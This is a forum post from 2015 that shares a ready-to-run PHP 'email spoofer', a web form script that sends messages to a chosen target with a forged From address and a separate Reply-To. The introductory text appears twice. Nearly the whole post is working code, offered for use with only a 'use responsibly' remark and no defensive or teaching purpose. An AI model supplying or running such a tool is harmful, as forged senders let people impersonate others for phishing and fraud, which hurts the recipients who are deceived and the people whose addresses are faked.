Feb 7, 2015 12:52 PM
(This post was last modified: Feb 7, 2015 12:54 PM by TechDon.)
Hi all,
SIMPLE EMAIL SPOOFER PHP SCRIPT HERE
Just going through some of my files, found a pretty simple but useful script...
This allows you to send an email address, which on the surface can look to the recipient
like its being sent from any email address you specifiy within the code.
You would need to host this on a site and have PHP Mail enabled within your hosting CPanel.
This may be of use to someone...
Use responsibly 🤝
Code Below:
SIMPLE EMAIL SPOOFER PHP SCRIPT HERE
Just going through some of my files, found a pretty simple but useful script...
This allows you to send an email address, which on the surface can look to the recipient
like its being sent from any email address you specifiy within the code.
You would need to host this on a site and have PHP Mail enabled within your hosting CPanel.
This may be of use to someone...
Use responsibly 🤝
Code Below:
PHP Code
<?php
if($_POST['submit']){ //if submit is hit continue...
$spoof = (stripslashes(trim($_POST['spoof']))); //sanitises all the user input.
$target = (stripslashes(trim($_POST['target'])));
$reply = (stripslashes(trim($_POST['reply'])));
$title = str_replace(array("\n", "\r"), '', stripslashes(trim($_POST['title'])));
$body = (stripslashes(trim($_POST['body'])));
$headers = "From: $spoof\r\n";
$headers .= "Reply-To: $reply\r\n";
$headers .= 'MIME-Version: 1.0' . "\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
$regex="/^[a-zA-Z][\w \.\-]+[a-zA-Z0-9]@([a-zA-Z0-9][a-zA-Z0-9\-]*\.)+[a-zA-Z]{2,4}$/"; //Compares input email to this pattern to make sure it is a valid email.
if($spoof == "" || !preg_match($regex, $spoof)){
echo "<font color='red'><b> Error: No Spoof Email Address Specified or Email Invalid!
</font></b>"; //error checking
exit;
}
elseif($target == "" || !preg_match($regex, $target)){
echo "<font color='red'><b> Error: No Target Email Address Specified or Email Invalid!
</font></b>";
exit;
}
elseif($reply == ""){
echo "<font color='red'><b> Error: No Reply Email Address Specified! </font></b>";
exit;
}
elseif($title == ""){
echo "<font color='red'><b> Error: No Email Subject Provided! </font></b>";
exit;
}
elseif($body == ""){
echo "<font color='red'><b> Error: No Email Message Provided! </font></b>";
exit;
}
else{
mail($target, $title, $body, $headers); //if there are no errors, send the email
echo "You Spoofed Email Message Has Been Sent!";
}
}
else{ //if submit wasn't hit, show the HTML form
?>
[b]<!--[/b] This is the CSS which makes the form look the way it does. -->
<html>
<title>E-mail Spoofer </title>
<body>
<style type="text/css">
body {
font-family: Arial;
font-size: .9em;
}
input {
background: #ECFDCE;
border: 1px solid green;
}
textarea {
background: #ECFDCE;
border: 1px solid green;
}
legend {
border: 1px solid #048DB4;
background: #F0F8FF;
}
fieldset {
border: 1px solid #048DB4;
width: 18.7em;
padding-left: 11px;
padding-bottom: 20px;
background: #F0F8FF;
}
[b]<!--[/b] This is the HTML form -->
</style>
<fieldset>
<legend>E-mail spoofer</legend>
<form action="" method="POST" >
Spoofed Email Address:<br>
<input type="text" size="40" name="spoof"><br>
Targets Email Address:<br>
<input type="text" size="40" name="target"><br>
Reply Email Address:<br>
<input type="text" size="40" name="reply"><br>
Message Subject:<br>
<input type="text"size="40" name="title"><br>
Email Message:<br>
<textarea rows="10" cols="30" name="body">
</textarea><br>
<input type="submit" value="Submit" name="submit">
<input type="reset" value="Clear">
</form>
</fieldset>
</body>
</html>
<?php
}
?>
</pre>



![[Image: otsgvt.png]](https://u.pomf.is/otsgvt.png)